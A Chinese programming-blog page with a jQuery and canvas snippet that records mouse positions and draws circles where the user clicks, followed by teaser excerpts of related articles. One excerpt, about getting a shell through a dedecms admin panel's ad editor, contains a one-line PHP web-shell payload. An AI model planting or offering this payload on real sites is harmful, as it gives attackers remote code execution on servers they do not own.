<div style="width:200px; height:20px; position:fixed; top:0; left:0; background-color:blue;">
<span id="x"></span>-
<span id="y"></span>-
<span id="v"></span>-
<span id="w"></span>
</div>
<script>
$('html').mousemove(function(){
$("#x").text(event.pageX);
$("#y").text(event.pageY);
$("#v").text(event.clientX);
$("#w").text(event.clientY);
})
$('html').click(function(){
var wdWidth = document.body.scrollWidth;
var wdHeight = document.body.scrollHeight;
var x = event.pageX;
var y = event.pageY;
//alert(x + ' ' + y + ' ' + wdWidth + ' ' + wdHeight);
draw(x,y);
})
</script> <canvas id="yuanxing" width="1300px" height="1300px" style="position:absolute;top:0;left:0;"> </canvas>
<script type=text/javascript>
function draw(x,y,r){
var r = arguments[3] || 20;
var canvas=document.getElementById("yuanxing");
var context=canvas.getContext("2d");
context.fillStyle="blue";
context.beginPath();
context.arc(x,y,r,0,Math.PI*2,true); //Math.PI*2是JS计算方法,是圆
context.closePath();
context.fill();
}
</script>

  

jquery canvas 用户点击记录的更多相关文章

  1. js记录用户行为浏览记录和停留时间(转)

    演示地址:http://weber.pub/demo/160902/test.html 测试源码下载:http://pan.baidu.com/s/1nvPKbSP 密码:r147 解决问题所使用的知 ...

  2. 利用jQuery实现用户名片小动画

    我爱撸码,撸码使我感到快乐!大家好,我是Counter.下面给大家介绍利用jQuery实现的小动画,非常的简便,如果有原生js操作的话,那么就不止这么多行了.至于CSS,个人觉得,这边CSS布局也蛮重 ...

  3. JavaScript 实现用户点击图片放大

    JavaScript 实现用户点击图片放大 一.契机 情况是这样的,之前推荐朋友去建站.后面他专门写了一篇文章说如何实现 "用户点击图片实现放大效果",俺就好好 "拜读& ...

  4. 用户点击确认登录,自动跳转下面地址得到code

    PHP获取微信openid 简单教程 WEB   2014年10月29日  10868浏览  6评论 获取code https://open.weixin.qq.com/connect/oauth2/ ...

  5. Bootstrap 模态框在用户点击背景空白处时会自动关闭

    问题: Bootstrap 模态框在用户点击背景空白处时,会自动关闭. 解决方法: 在HTML页面中编写模态框时,在div初始化时添加属性 aria-hidden=”true” data-backdr ...

  6. jquery 实现重复点击一个元素时不重复执行效果

    jquery 实现重复点击一个元素时不重复执行效果 这需要用到jquery的stop方法 实例 停止当前正在运行的动画: $("#stop").click(function(){ ...

  7. 通过统计用户DNS解析记录,实现监控用户上网行为

    上次通过扫描抓包分析TTL的方式检测公司网络开放的端口,发现没有开放53端口(DNS),也就是在公司内部的主机只能用服务器自动分配的DNS,并且发现这是台内部服务器.今天发现bing上不去,检测后发现 ...

  8. 酷!使用 jQuery & Canvas 制作相机快门效果

    在今天的教程中,我们将使用 HTML5 的 Canvas 元素来创建一个简单的摄影作品集,它显示了一组精选照片与相机快门的效果.此功能会以一个简单的 jQuery 插件形式使用,你可以很容易地整合到任 ...

  9. C#-WinForm-弹窗提示框-如何知道用户点击的是哪个按钮?

    MessageBox.Show() 有21个重载 常用的弹窗提示框 1.一个参数,弹窗只有一个选项 2.三个参数,第一个参数是设置弹窗消息框中的文字内容:第二个参数是设置弹窗标题栏中显示的文本:第三个 ...

随机推荐

  1. [技巧篇]01.Servlet的优化模版代码

    Servlet.java的模版 #---------------------------------------------# # <aw:description>Template for ...

  2. 洛谷P2860 [USACO06JAN]冗余路径Redundant Paths

    题目描述 In order to get from one of the F (1 <= F <= 5,000) grazing fields (which are numbered 1. ...

  3. Linux修改用户密码

    1. root修改自己 # passwd 2. root修改别人 # passwd oracle //修改oracle的密码

  4. poj 1837 Balance(背包)

    题目链接:http://poj.org/problem?id=1837 Balance Time Limit: 1000MS   Memory Limit: 30000K Total Submissi ...

  5. 另类dedecms后台拿shell

    遇到一个被阉割的后台,发现直接传shell显然不行. 然后就有了下文 添加一个新广告. 插入一句话木马: --><?php $_GET[c]($_POST[x]);?><!-- ...

  6. Python3 文件基本操作

    Python文件的打开模式有: r,只读模式(默认).w,只写模式.[不可读:不存在则创建:存在则删除内容:]a,追加模式.[可读: 不存在则创建:存在则只追加内容:]"+" 表示 ...

  7. Optimizing TLB entries for mixed page size storage in contiguous memory

    A system and method for accessing memory are provided. The system comprises a lookup buffer for stor ...

  8. (十五)linux下gdb调试

    一.gdb常用命令: 命令 描述 backtrace(或bt) 查看各级函数调用及参数 finish 连续运行到当前函数返回为止,然后停下来等待命令 frame(或f) 帧编号 选择栈帧 info(或 ...

  9. 【快速玩转Source Filmmaker】用黑科技做出自己的OC和想要的模型

    [快速玩转Source Filmmaker]用黑科技做出自己的OC和想要的模型https://tieba.baidu.com/p/4154097168

  10. Mongo 配置文件 [www]

    Mongo 配置文件  [www] http://blog.chinaunix.net/uid-25206403-id-3510934.html mongodb 安装使用 http://blog.si ...